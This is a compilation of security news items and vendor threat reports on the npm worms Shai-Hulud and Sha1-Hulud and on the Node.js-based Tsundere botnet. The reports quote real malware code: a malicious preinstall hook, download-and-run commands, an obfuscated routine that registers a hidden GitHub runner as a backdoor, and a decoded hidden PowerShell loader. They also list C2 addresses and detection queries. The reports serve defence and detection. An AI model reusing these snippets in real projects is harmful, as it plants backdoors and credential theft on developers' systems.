Normal view
Critical Vulnerability Patched in jsPDF
The bug can allow attackers to read arbitrary files from the system, potentially exposing configurations and credentials.
The post Critical Vulnerability Patched in jsPDF appeared first on SecurityWeek.
Popular NPM Package lotusbail Exposed as Trojan Stealing WhatsApp Chats
NPM Package With 56,000 Downloads Steals WhatsApp Credentials, Data
The package provides legitimate functionality to evade detection, while stealing users’ data and deploying a backdoor.
The post NPM Package With 56,000 Downloads Steals WhatsApp Credentials, Data appeared first on SecurityWeek.
Shai Hulud 2.0, now with a wiper flavor
![]()
In September, a new breed of malware distributed via compromised Node Package Manager (npm) packages made headlines. It was dubbed “Shai-Hulud”, and we published an in-depth analysis of it in another post. Recently, a new version was discovered.
Shai Hulud 2.0 is a type of two-stage worm-like malware that spreads by compromising npm tokens to republish trusted packages with a malicious payload. More than 800 npm packages have been infected by this version of the worm.
According to our telemetry, the victims of this campaign include individuals and organizations worldwide, with most infections observed in Russia, India, Vietnam, Brazil, China, Türkiye, and France.
Technical analysis
When a developer installs an infected npm package, the setup_bun.js script runs during the preinstall stage, as specified in the modified package.json file.
Bootstrap script
The initial-stage script setup_bun.js is left intentionally unobfuscated and well documented to masquerade as a harmless tool for installing the legitimate Bun JavaScript runtime. It checks common installation paths for Bun and, if the runtime is missing, installs it from an official source in a platform-specific manner. This seemingly routine behavior conceals its true purpose: preparing the execution environment for later stages of the malware.
![]()
The installed Bun runtime then executes the second-stage payload, bun_environment.js, a 10MB malware script obfuscated with an obfuscate.io-like tool. This script is responsible for the main malicious activity.
Stealing credentials
Shai Hulud 2.0 is built to harvest secrets from various environments. Upon execution, it immediately searches several sources for sensitive data, such as:
- GitHub secrets: the malware searches environment variables and the GitHub CLI configuration for values starting with ghp_ or gho_. It also creates a malicious workflow yml in victim repositories, which is then used to obtain GitHub Actions secrets.
- Cloud credentials: the malware searches for cloud credentials across AWS, Azure, and Google Cloud by querying cloud instance metadata services and using official SDKs to enumerate credentials from environment variables and local configuration files.
- Local files: it downloads and runs the TruffleHog tool to aggressively scan the entire filesystem for credentials.
Then all the exfiltrated data is sent through the established communication channel, which we describe in more detail in the next section.
Data exfiltration through GitHub
To exfiltrate the stolen data, the malware sets up a communication channel via a public GitHub repository. For this purpose, it uses the victim’s GitHub access token if found in environment variables and the GitHub CLI configuration.
![]()
After that, the malware creates a repository with a randomly generated 18-character name and a marker in its description. This repository then serves as a data storage to which all stolen credentials and system information are uploaded.
If the token is not found, the script attempts to obtain a previously stolen token from another victim by searching through GitHub repositories for those containing the text, “Sha1-Hulud: The Second Coming.” in the description.
Worm spreading across packages
For subsequent self-replication via embedding into npm packages, the script scans .npmrc configuration files in the home directory and the current directory in an attempt to find an npm registry authorization token.
If this is successful, it validates the token by sending a probe request to the npm /-/whoami API endpoint, after which the script retrieves a list of up to 100 packages maintained by the victim.
For each package, it injects the malicious files setup_bun.js and bun_environment.js via bundleAssets and updates the package configuration by setting setup_bun.js as a pre-installation script and incrementing the package version. The modified package is then published to the npm registry.
Destructive responses to failure
If the malware fails to obtain a valid npm token and is also unable to get a valid GitHub token, making data exfiltration impossible, it triggers a destructive payload that wipes user files, primarily those in the home directory.
![]()
Our solutions detect the family described here as HEUR:Worm.Script.Shulud.gen.
![]()
Since September of this year, Kaspersky has blocked over 1700 Shai Hulud 2.0 attacks on user machines. Of these, 18.5% affected users in Russia, 10.7% occurred in India, and 9.7% in Brazil.
We continue tracking this malicious activity and provide up-to-date information to our customers via the Kaspersky Open Source Software Threats Data Feed. The feed includes all packages affected by Shai-Hulud, as well as information on other open-source components that exhibit malicious behaviour, contain backdoors, or include undeclared capabilities.




NK Hackers Push 200 Malicious npm Packages with OtterCookie Malware
Defending Against Sha1-Hulud: The Second Coming
Shai-Hulud Worm 2.0 is a major escalation of the NPM supply chain attack, now executing in the preinstall phase to harvest credentials across AWS, Azure, and GCP and establish persistence via GitHub Actions.
The following SentinelOne Flash Report was sent to all SentinelOne customers and partners on Tuesday, November 25, 2025. It includes an in-depth analysis of the new variant’s tactics, our real-time detection posture, and the critical, immediate actions required to secure your environment.
Sha1-Hulud: The Second Coming
| Document Type: Wayfinder Flash Report | TLP: Green |
| Date of Publication: 25 November 2025 | Cyber Risk Rating: High |
| Date of Research: 24 November 2025 | Referenced Threat Activity: Supply chain attacks |
Key Takeaways
- A new wave of compromised NPM packages is leading to wide-scale supply chain attacks.
- This attack shows additional capabilities compared to previous attacks.
- Victims should immediately change their tokens and secrets, including those associated with any affected cloud environment.
Technical Details
Overview
“Sha1-Hulud” is the name of an ongoing NPM supply chain attack which started as early as November 21, 2025 according to public information. The new attack is similar to the previous “Shai Hulud”, but includes additional features and is triggered by different compromised packages. The name of the new attack comes from the malware author’s description inside the GitHub repository with the exfiltrated data:

While the attacks share similarities, the new attack is slightly different from the previous one and it is not yet known if both attacks come from the same threat actor.
The current attacks have impacted several popular packages such as:
A comprehensive list of affected packages can be found here.
Execution & Persistence
Unlike the previous attack, which used “postinstall” to trigger the malware execution, the “Sha1-Hulud” attack utilizes “preinstall” to execute the malware:
...
"scripts": {
"preinstall": "node setup_bun.js"
}
...
}
The malware downloads the legitimate “bun” tool to orchestrate the current attack:
async function downloadAndSetupBun() {
try {
let command;
if (process.platform === 'win32') {
// Windows: Use PowerShell script
command = 'powershell -c "irm bun.sh/install.ps1|iex"';
} else {
// Linux/macOS: Use curl + bash script
command = 'curl -fsSL https://bun.sh/install | bash';
}
…
const environmentScript = path.join(__dirname, 'bun_environment.js');
if (fs.existsSync(environmentScript)) {
runExecutable(bunExecutable, [environmentScript]);
} else {
process.exit(0);
}
The file “bun_environment.js” is an obfuscated JavaScript malware being added to the compromised packages in the “Sha1-Hulud” attack.
This script creates additional files such as “cloud.json”, “contents.json”, “environment.json”, and “truffleSecrets.json” for exfiltration and “discussion.yaml” for persistence.
The payload then registers the infected machine as a self-hosted runner named “SHA1HULUD”:
let _0x449178 = await this.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
'owner': _0x349291,
'repo': _0x2b1a39
});
if (_0x449178.status == 0xc9) {
let _0x1489ec = _0x449178.data.token;
if (a0_0x5a88b3.platform() === 'linux') {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
} else {
if (a0_0x5a88b3.platform() === "win32") {
await Bun.$`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip -OutFile actions-runner-win-x64-2.330.0.zip"`.cwd(a0_0x5a88b3.homedir());
await Bun.$`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\"actions-runner-win-x64-2.330.0.zip\", \".\")"`.cwd(a0_0x5a88b3.homedir());
await Bun.$`./config.cmd --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir()).quiet();
Bun.spawn(["powershell", '-ExecutionPolicy', "Bypass", "-Command", "Start-Process -WindowStyle Hidden -FilePath \"./run.cmd\""], {
'cwd': a0_0x5a88b3.homedir()
}).unref();
} else {
if (a0_0x5a88b3.platform() === "darwin") {
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
await Bun.$`./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
await Bun.$`rm actions-runner-osx-arm64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + '/.dev-env');
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}
}
}
For persistence, the malware adds a workflow called “.github/workflows/discussion.yaml” that contains an injection vulnerability, allowing the threat actor to write a specially crafted message in the repository discussions section. Subsequently, the message executes code on the infected host registered as a runner.

Impact & Objectives
Unlike previous attacks that only targeted the software development environment, this attack also steals AWS, GCP, and Azure secrets that could allow the threat actor to move laterally across the cloud environment. Such information is saved to the “cloud.json” file:

The base64 in Fig. 3 translates to the following:
{"aws":{"secrets":[]},"gcp":{"secrets":[]},"azure":{"secrets":[]}}
The creation of the file does not necessarily mean that the cloud secrets have been stolen as the config can be empty.
The threat actor is also using Trufflehog in this new attack to steal secrets related to the development environment such as GitHub and NPM secrets and tokens – a similar tactic seen in the previous “Shai-Hulud” attack.
While the exact motives of the attackers are currently unknown, successful infection is resulting not only in the theft of intellectual property and private code, but also cloud secrets that could allow a broader breach across a cloud environment. The persistence capabilities allow the threat actor to execute malicious code on the infected host, which is an asset within the development environment of the victim.
SentinelOne Detection Capabilities
Endpoint Protection (EPP)
SentinelOne EPP behavioral AI engines continuously monitor for suspicious activities associated with supply chain attacks and worm propagation, including:
- Execution of malicious scripts and packages
- Unauthorized file modifications in CI/CD workflows
- Privilege escalation and credential abuse
- Suspicious runtime installations and network-based script execution
Platform Detection Rules
The SentinelOne Platform Detection Library includes rules to detect Shai-Hulud worm activity across multiple attack stages:
- Potential Malicious NPM Package Execution – Detects execution of known malicious npm packages used by Shai-Hulud
- Shai-Hulud Worm Workflow File Write Activity – Identifies unauthorized modifications to GitHub Actions workflows and malicious payload deployment
- Shai-Hulud Bun Runtime Installation via Network Fetch – Catches suspicious Bun runtime installations via remote script execution
- Shai-Hulud Unattended GitHub Runner Registration – Detects automated registration of self-hosted GitHub runners with malicious characteristics
Threat Hunting
The Wayfinder Threat Hunting team is proactively hunting, leveraging threat intelligence associated with this emerging threat. If any suspicious activity is identified in your environment, we will notify your organization’s designated escalation contacts immediately.
Recommendations
Wayfinder Threat Hunting provides the following recommendations for immediate action and strategic mitigation:
- Enable the relevant Platform Detection Rules from the section above.
- Enable Agent Live Security Update for real-time updates.
- Remove and replace compromised packages.
- Pin package versions where possible.
- Disable npm postinstall scripts in CI where possible.
- Revoke and regenerate npm tokens, GitHub secrets, SSH keys, and cloud provider credentials.
- Enforce hardware-based MFA for developer and CI/CD accounts.
Tactical Tools for HuntOps
IOCs (Indicators of Compromise)
| Type | Value | Description |
| SHA1 | 3d7570d14d34b0ba137d502f042b27b0f37a59fa | bun_environment.js |
| SHA1 | d60ec97eea19fffb4809bc35b91033b52490ca11 | bun_environment.js |
| SHA1 | 8de87cf4fbdd1b490991a1ceb9c1198013d268c2 | bun_environment.js |
| SHA1 | f37c6179739cf47e60280dd78cb1a86fd86a2dcf | bun_environment.js |
| SHA1 | 91429fbfef99fa52b6386d666e859707a07844b2 | bun_environment.js |
| SHA1 | ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc | bun_environment.js |
Hunting Queries
Query 1: SHA1HULUD Runner Execution
dataSource.name = 'SentinelOne' and event.type = 'Process Creation' and src.process.cmdline contains '--name SHA1HULUD' and src.process.cmdline contains '--unattended --token '
Query 2: SHA1HULUD Malicious JS
dataSource.name = 'SentinelOne' AND tgt.file.sha1 in ("3d7570d14d34b0ba137d502f042b27b0f37a59fa","d60ec97eea19fffb4809bc35b91033b52490ca11","8de87cf4fbdd1b490991a1ceb9c1198013d268c2","f37c6179739cf47e60280dd78cb1a86fd86a2dcf","91429fbfef99fa52b6386d666e859707a07844b2","ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc") and src.process.name contains 'node'
Query 3: Suspicious “bun_environment.js” Files Potentially Linked to SHA1HULUD
dataSource.name = 'SentinelOne' AND tgt.file.size>7000000 AND (tgt.file.path contains '/bun_environment.js' or tgt.file.path contains '\\bun_environment.js') AND !(tgt.file.sha1 in ("3d7570d14d34b0ba137d502f042b27b0f37a59fa","d60ec97eea19fffb4809bc35b91033b52490ca11","8de87cf4fbdd1b490991a1ceb9c1198013d268c2","f37c6179739cf47e60280dd78cb1a86fd86a2dcf","91429fbfef99fa52b6386d666e859707a07844b2","ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc"))

Blockchain and Node.js abused by Tsundere: an emerging botnet
![]()
Introduction
Tsundere is a new botnet, discovered by our Kaspersky GReAT around mid-2025. We have correlated this threat with previous reports from October 2024 that reveal code similarities, as well as the use of the same C2 retrieval method and wallet. In that instance, the threat actor created malicious Node.js packages and used the Node Package Manager (npm) to deliver the payload. The packages were named similarly to popular packages, employing a technique known as typosquatting. The threat actor targeted libraries such as Puppeteer, Bignum.js, and various cryptocurrency packages, resulting in 287 identified malware packages. This supply chain attack affected Windows, Linux, and macOS users, but it was short-lived, as the packages were removed and the threat actor abandoned this infection method after being detected.
The threat actor resurfaced around July 2025 with a new threat. We have dubbed it the Tsundere bot after its C2 panel. This botnet is currently expanding and poses an active threat to Windows users.
Initial infection
Currently, there is no conclusive evidence on how the Tsundere bot implants are being spread. However, in one documented case, the implant was installed via a Remote Monitoring and Management (RMM) tool, which downloaded a file named pdf.msi from a compromised website. In other instances, the sample names suggest that the implants are being disseminated using the lure of popular Windows games, particularly first-person shooters. The samples found in the wild have names such as “valorant”, “cs2”, or “r6x”, which appear to be attempts to capitalize on the popularity of these games among piracy communities.
Malware implants
According to the C2 panel, there are two distinct formats for spreading the implant: via an MSI installer and via a PowerShell script. Implants are automatically generated by the C2 panel (as described in the Infrastructure section).
MSI installer
The MSI installer was often disguised as a fake installer for popular games and other software to lure new victims. Notably, at the time of our research, it had a very low detection rate.
The installer contains a list of data and JavaScript files that are updated with each new build, as well as the necessary Node.js executables to run these scripts. The following is a list of files included in the sample:
nodejs/B4jHWzJnlABB2B7 nodejs/UYE20NBBzyFhqAQ.js nodejs/79juqlY2mETeQOc nodejs/thoJahgqObmWWA2 nodejs/node.exe nodejs/npm.cmd nodejs/npx.cmd
The last three files in the list are legitimate Node.js files. They are installed alongside the malicious artifacts in the user’s AppData\Local\nodejs directory.
An examination of the CustomAction table reveals the process by which Windows Installer executes the malware and installs the Tsundere bot:
RunModulesSetup 1058 NodeDir powershell -WindowStyle Hidden -NoLogo -enc JABuAG[...]ACkAOwAiAA==
After Base64 decoding, the command appears as follows:
$nodePath = "$env:LOCALAPPDATA\nodejs\node.exe";
& $nodePath - e "const { spawn } = require('child_process'); spawn(process.env.LOCALAPPDATA + '\\nodejs\\node.exe', ['B4jHWzJnlABB2B7'], { detached: true, stdio: 'ignore', windowsHide: true, cwd: __dirname }).unref();"
This will execute Node.js code that spawns a new Node.js process, which runs the loader JavaScript code (in this case, B4jHWzJnlABB2B7). The resulting child process runs in the background, remaining hidden from the user.
Loader script
The loader script is responsible for ensuring the correct decryption and execution of the main bot script, which handles npm unpackaging and configuration. Although the loader code, similar to the code for the other JavaScript files, is obfuscated, it can be deobfuscated using open-source tools. Once executed, the loader attempts to locate the unpackaging script and configuration for the Tsundere bot, decrypts them using the AES-256 CBC cryptographic algorithm with a build-specific key and IV, and saves the decrypted files under different filenames.
encScriptPath = 'thoJahgqObmWWA2',
encConfigPath = '79juqlY2mETeQOc',
decScript = 'uB39hFJ6YS8L2Fd',
decConfig = '9s9IxB5AbDj4Pmw',
keyBase64 = '2l+jfiPEJufKA1bmMTesfxcBmQwFmmamIGM0b4YfkPQ=',
ivBase64 = 'NxrqwWI+zQB+XL4+I/042A==',
[...]
const h = path.dirname(encScriptPath),
i = path.join(h, decScript),
j = path.join(h, decConfig)
decryptFile(encScriptPath, i, key, iv)
decryptFile(encConfigPath, j, key, iv)
The configuration file is a JSON that defines a directory and file structure, as well as file contents, which the malware will recreate. The malware author refers to this file as “config”, but its primary purpose is to package and deploy the Node.js package manager (npm) without requiring manual installation or downloading. The unpackaging script is responsible for recreating this structure, including the node_modules directory with all its libraries, which contains packages necessary for the malware to run.
With the environment now set up, the malware proceeds to install three packages to the node_modules directory using npm:
ws: a WebSocket networking libraryethers: a library for communicating with Ethereumpm2: a Node.js process management tool
The pm2 package is installed to ensure the Tsundere bot remains active and used to launch the bot. Additionally, pm2 helps achieve persistence on the system by writing to the registry and configuring itself to restart the process upon login.
PowerShell infector
The PowerShell version of the infector operates in a more compact and simplified manner. Instead of utilizing a configuration file and an unpacker — as done with the MSI installer — it downloads the ZIP file node-v18.17.0-win-x64.zip from the official Node.js website nodejs[.]org and extracts it to the AppData\Local\NodeJS directory, ultimately deploying Node.js on the targeted device. The infector then uses the AES-256-CBC algorithm to decrypt two large hexadecimal-encoded variables, which correspond to the bot script and a persistence script. These decrypted files, along with a package.json file are written to the disk. The package.json file contains information about the malicious Node.js package, as well as the necessary libraries to be installed, including the ws and ethers packages. Finally, the infector runs both scripts, starting with the persistence script that is followed by the bot script.
Persistence is achieved through the same mechanism observed in the MSI installer: the script creates a value in the HKCU:\Software\Microsoft\Windows\CurrentVersion\Run registry key that points to itself. It then overwrites itself with a new script that is Base64 decoded. This new script is responsible for ensuring the bot is executed on each login by spawning a new instance of the bot.
Tsundere bot
We will now delve into the Tsundere bot, examining its communication with the command-and-control (C2) server and its primary functionality.
C2 address retrieval
Web3 contracts, also known as smart contracts, are deployed on a blockchain via transactions from a wallet. These contracts can store data in variables, which can be modified by functions defined within the contract. In this case, the Tsundere botnet utilizes the Ethereum blockchain, where a method named setString(string _str) is defined to modify the state variable param1, allowing it to store a string. The string stored in param1 is used by the Tsundere botnet administrators to store new WebSocket C2 servers, which can be rotated at will and are immutable once written to the Ethereum blockchain.
The Tsundere botnet relies on two constant points of reference on the Ethereum blockchain:
- Wallet:
0x73625B6cdFECC81A4899D221C732E1f73e504a32 - Contract:
0xa1b40044EBc2794f207D45143Bd82a1B86156c6b
In order to change the C2 server, the Tsundere botnet makes a transaction to update the state variable with a new address. Below is a transaction made on August 19, 2025, with a value of 0 ETH, which updates the address.
The state variable has a fixed length of 32 bytes, and a string of 24 bytes (see item [2] in the previous image) is stored within it. When this string is converted from hexadecimal to ASCII, it reveals the new WebSocket C2 server address: ws[:]//185.28.119[.]179:1234.
To obtain the C2 address, the bot contacts various public endpoints that provide remote procedure call (RPC) APIs, allowing them to interact with Ethereum blockchain nodes. At the start of the script, the bot calls a function named fetchAndUpdateIP, which iterates through a list of RPC providers. For each provider, it checks the transactions associated with the contract address and wallet owner, and then retrieves the string from the state variable containing the WebSocket address, as previously observed.
The Tsundere bot verifies that the C2 address starts with either ws:// or wss:// to ensure it is a valid WebSocket URL, and then sets the obtained string as the server URL. But before using this new URL, the bot first checks the system locale by retrieving the culture name of the machine to avoid infecting systems in the CIS region. If the system is not in the CIS region, the bot establishes a connection to the server via a WebSocket, setting up the necessary handlers for receiving, sending, and managing connection states, such as errors and closed sockets.
Communication
The communication flow between the client (Tsundere bot) and the server (WebSocket C2) is as follows:
- The Tsundere bot establishes a WebSocket connection with the retrieved C2 address.
- An AES key is transmitted immediately after the connection is established.
- The bot sends an empty string to confirm receipt of the key.
- The server then sends an IV, enabling the use of encrypted communication from that point on.
Encryption is required for all subsequent communication. - The bot transmits the OS information of the infected machine, including the MAC address, total memory, GPU information, and other details. This information is also used to generate a unique identifier (UUID).
- The C2 server responds with a JSON object, acknowledging the connection and confirming the bot’s presence.
- With the connection established, the client and server can exchange information freely.
- To maintain the connection, keep-alive messages are sent every minute using ping/pong messages.
- The bot sends encrypted responses as part of the ping/pong messages, ensuring continuous communication.
The connections are not authenticated through any additional means, making it possible for a fake client to establish a connection.
As previously mentioned, the client sends an encrypted ping message to the C2 server every minute, which returns a pong message. This ping-pong exchange serves as a mechanism for the C2 panel to maintain a list of currently active bots.
Functionality
The Tsundere bot is designed to allow the C2 server to send dynamic JavaScript code. When the C2 server sends a message with ID=1 to the bot, the message is evaluated as a new function and then executed. The result of this operation is sent back to the server via a custom function named serverSend, which is responsible for transmitting the result as a JSON object, encrypted for secure communication.
The ability to evaluate code makes the Tsundere bot relatively simple, but it also provides flexibility and dynamism, allowing the botnet administrators to adapt it to a wide range of actions.
However, during our observation period, we did not receive any commands or functions from the C2 server, possibly because the newly connected bot needed to be requested by other threat actors through the botnet panel before it could be utilized.
Infrastructure
The Tsundere bot utilizes WebSocket as its primary protocol for establishing connections with the C2 server. As mentioned earlier, at the time of writing, the malware was communicating with the WebSocket server located at 185.28.119[.]179, and our tests indicated that it was responding positively to bot connections.
The following table lists the IP addresses and ports extracted from the provided list of URLs:
| IP | Port | First seen (contract update) | ASN |
| 185.28.119[.]179 | 1234 | 2025-08-19 | AS62005 |
| 196.251.72[.]192 | 1234 | 2025-08-03 | AS401120 |
| 103.246.145[.]201 | 1234 | 2025-07-14 | AS211381 |
| 193.24.123[.]68 | 3011 | 2025-06-21 | AS200593 |
| 62.60.226[.]179 | 3001 | 2025-05-04 | AS214351 |
Marketplace and control panel
No business is complete without a marketplace, and similarly, no botnet is complete without a control panel. The Tsundere botnet has both a marketplace and a control panel, which are integrated into the same frontend.
The notable aspect of Tsundere’s control panel, dubbed “Tsundere Netto” (version 2.4.4), is that it has an open registration system. Any user who accesses the login form can register and gain access to the panel, which features various tabs:
- Bots: a dashboard displaying the number of bots under the user’s control
- Settings: user settings and administrative functions
- Build: if the user has an active license, they can create new bots using the two previously mentioned methodologies (MSI or PowerShell)
- Market: this is the most interesting aspect of the panel, as it allows users to promote their individual bots and offer various services and functionalities to other threat actors. Each build can create a bot that performs a specific set of actions, which can then be offered to others
- Monero wallet: a wallet service that enables users to make deposits or withdrawals
- Socks proxy: a feature that allows users to utilize their bots as proxies for their traffic
Each build generates a unique build ID, which is embedded in the implant and sent to the C2 server upon infection. This build ID can be linked to the user who created it. According to our research and analysis of other URLs found in the wild, builds are created through the panel and can be downloaded via the URL:
hxxps://idk.1f2e[REDACTED]07a4[.]net/api/builds/{BUILD-ID}.msi.At the time of writing this, the panel typically has between 90 and 115 bots connected to the C2 server at any given time.
Attribution
Based on the text found in the implants, we can conclude with high confidence that the threat actor behind the Tsundere botnet is likely Russian-speaking. The use of the Russian language in the implants is consistent with previous attacks attributed to the same threat actor.
Furthermore, our analysis suggests a connection between the Tsundere botnet and the 123 Stealer, a C++-based stealer available on the shadow market for $120 per month. This connection is based on the fact that both panels share the same server. Notably, the main domain serves as the frontend for the 123 Stealer panel, while the subdomain “idk.” is used for the Tsundere botnet panel.
By examining the available evidence, we can link both threats to a Russian-speaking threat actor known as “koneko”. Koneko was previously active on a dark web forum, where they promoted the 123 Stealer, as well as other malware, including a backdoor. Although our analysis of the backdoor revealed that it was not directly related to Tsundere, it shared similarities with the Tsundere botnet in that it was written in Node.js and used PowerShell or MSI as infectors. Before the dark web forum was seized and shut down, koneko’s profile featured the title “node malware senior”, further suggesting their expertise in Node.js-based malware.
Conclusion
The Tsundere botnet represents a renewed effort by a presumably identified threat actor to revamp their toolset. The Node.js-based bot is an evolution of an attack discovered in October of last year, and it now features a new strategy and even a new business model. Infections can occur through MSI and PowerShell files, which provides flexibility in terms of disguising installers, using phishing as a point of entry, or integrating with other attack mechanisms, making it an even more formidable threat.
Additionally, the botnet leverages a technique that is gaining popularity: utilizing web3 contracts, also known as “smart contracts”, to host command-and-control (C2) addresses, which enhances the resilience of the botnet infrastructure. The botnet’s possible author, koneko, is also involved in peddling other threats, such as the 123 Stealer, which suggests that the threat is likely to escalate rather than diminish in the coming months. As a result, it is essential to closely monitor this threat and be vigilant for related threats that may emerge in the near future.
Indicators of compromise
More IoCs related to this threat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.
File hashes
235A93C7A4B79135E4D3C220F9313421
760B026EDFE2546798CDC136D0A33834
7E70530BE2BFFCFADEC74DE6DC282357
5CC5381A1B4AC275D221ECC57B85F7C3
AD885646DAEE05159902F32499713008
A7ED440BB7114FAD21ABFA2D4E3790A0
7CF2FD60B6368FBAC5517787AB798EA2
E64527A9FF2CAF0C2D90E2238262B59A
31231FD3F3A88A27B37EC9A23E92EBBC
FFBDE4340FC156089F968A3BD5AA7A57
E7AF0705BA1EE2B6FBF5E619C3B2747E
BFD7642671A5788722D74D62D8647DF9
8D504BA5A434F392CC05EBE0ED42B586
87CE512032A5D1422399566ECE5E24CF
B06845C9586DCC27EDBE387EAAE8853F
DB06453806DACAFDC7135F3B0DEA4A8F
File paths
%APPDATA%\Local\NodeJS
Domains and IPs
ws://185.28.119[.]179:1234
ws://196.251.72[.]192:1234
ws://103.246.145[.]201:1234
ws://193.24.123[.]68:3011
ws://62.60.226[.]179:3001
Cryptocurrency wallets
Note: These are wallets that have changed the C2 address in the smart contract since it was created.
0x73625B6cdFECC81A4899D221C732E1f73e504a32
0x10ca9bE67D03917e9938a7c28601663B191E4413
0xEc99D2C797Db6E0eBD664128EfED9265fBE54579
0xf11Cb0578EA61e2EDB8a4a12c02E3eF26E80fc36
0xdb8e8B0ef3ea1105A6D84b27Fc0bAA9845C66FD7
0x10ca9bE67D03917e9938a7c28601663B191E4413
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0x46b0f9bA6F1fb89eb80347c92c9e91BDF1b9E8CC




Massive npm infection: the Shai-Hulud worm and patient zero
![]()
Introduction
The modern development world is almost entirely dependent on third-party modules. While this certainly speeds up development, it also creates a massive attack surface for end users, since anyone can create these components. It is no surprise that malicious modules are becoming more common. When a single maintainer account for popular modules or a single popular dependency is compromised, it can quickly turn into a supply chain attack. Such compromises are now a frequent attack vector trending among threat actors. In the last month alone, there have been two major incidents that confirm this interest in creating malicious modules, dependencies, and packages. We have already discussed the recent compromise of popular npm packages. September 16, 2025 saw reports of a new wave of npm package infections, caused by the self-propagating malware known as Shai-Hulud.
Shai-Hulud is designed to steal sensitive data, expose private repositories of organizations, and hijack victim credentials to infect other packages and spread on. Over 500 packages were infected in this incident, including one with more than two million weekly downloads. As a result, developers who integrated these malicious packages into their projects risk losing sensitive data, and their own libraries could become infected with Shai-Hulud. This self-propagating malware takes over accounts and steals secrets to create new infected modules, spreading the threat along the dependency chain.
Technical details
The worm’s malicious code executes when an infected package is installed. It then publishes infected releases to all packages the victim has update permissions for.
Once the infected package is installed from the npm registry on the victim’s system, a special command is automatically executed. This command launches a malicious script over 3 MB in size named bundle.js, which contains several legitimate, open-source work modules.
Key modules within bundle.js include:
- Library for interacting with AWS cloud services
- GCP module that retrieves metadata from the Google Cloud Platform environment
- Functions for TruffleHog, a tool for scanning various data sources to find sensitive information, specifically secrets
- Tool for interacting with the GitHub API
The JavaScript file also contains network utilities for data transfer and the main operational module, Shai-Hulud.
The worm begins its malicious activity by collecting information about the victim’s operating system and checking for an npm token and authenticated GitHub user token in the environment. If a valid GitHub token is not present, bundle.js will terminate. A distinctive feature of Shai-Hulud is that most of its functionality is geared toward Linux and macOS systems: almost all malicious actions are performed exclusively on these systems, with the exception of using TruffleHog to find secrets.
Exfiltrating secrets
After passing the checks, the malware uses the token mentioned earlier to get information about the current GitHub user. It then runs the extraction function, which creates a temporary executable bash script at /tmp/processor.sh and runs it as a separate process, passing the token as an argument. Below is the extraction function, with strings and variable names modified for readability since the original source code was illegible.
The bash script is designed to communicate with the GitHub API and collect secrets from the victim’s repository in an unconventional way. First, the script checks if the token has the necessary permissions to create branches and work with GitHub Actions. If it does, the script gets a list of all the repositories the user can access from 2025. In each of these, it creates a new branch named shai-hulud and uploads a shai-hulud-workflow.yml workflow, which is a configuration file for describing GitHub Actions workflows. These files are automation scripts that are triggered in GitHub Actions whenever changes are made to a repository. The Shai-Hulud workflow activates on every push.
This file collects secrets from the victim’s repositories and forwards them to the attackers’ server. Before being sent, the confidential data is encoded twice with Base64.
This unusual method for data collection is designed for a one-time extraction of secrets from a user’s repositories. However, it poses a threat not only to Shai-Hulud victims but also to ordinary researchers. If you search for “shai-hulud” on GitHub, you will find numerous repositories that have been compromised by the worm.
The main bundle.js script then requests a list of all organizations associated with the victim and runs the migration function for each one. This function also runs a bash script, but in this case, it saves it to /tmp/migrate-repos.sh, passing the organization name, username, and token as parameters for further malicious activity.
The bash script automates the migration of all private and internal repositories from the specified GitHub organization to the user’s account, making them public. The script also uses the GitHub API to copy the contents of the private repositories as mirrors.
We believe these actions are intended for the automated theft of source code from the private repositories of popular communities and organizations. For example, the well-known company CrowdStrike was caught in this wave of infections.
The worm’s self-replication
After running operations on the victim’s GitHub, the main bundle.js script moves on to its next crucial stage: self-replication. First, the script gets a list of the victim’s 20 most downloaded packages. To do this, it performs a search query with the username from the previously obtained npm token:
https://registry.npmjs.org/-/v1/search?text=maintainer:{%user_details%}&size=20
Next, for each of the packages it finds, it calls the updatePackage function. This function first attempts to download the tarball version of the package (a .TAR archive). If it exists, a temporary directory named npm-update-{target_package_name} is created. The tarball version of the package is saved there as package.tgz, then unpacked and modified as follows:
- The malicious
bundle.jsis added to the original package. - A postinstall command is added to the
package.jsonfile (which is used in Node.js projects to manage dependencies and project metadata). This command is configured to execute the malicious script vianode bundle.js. - The package version number is incremented by 1.
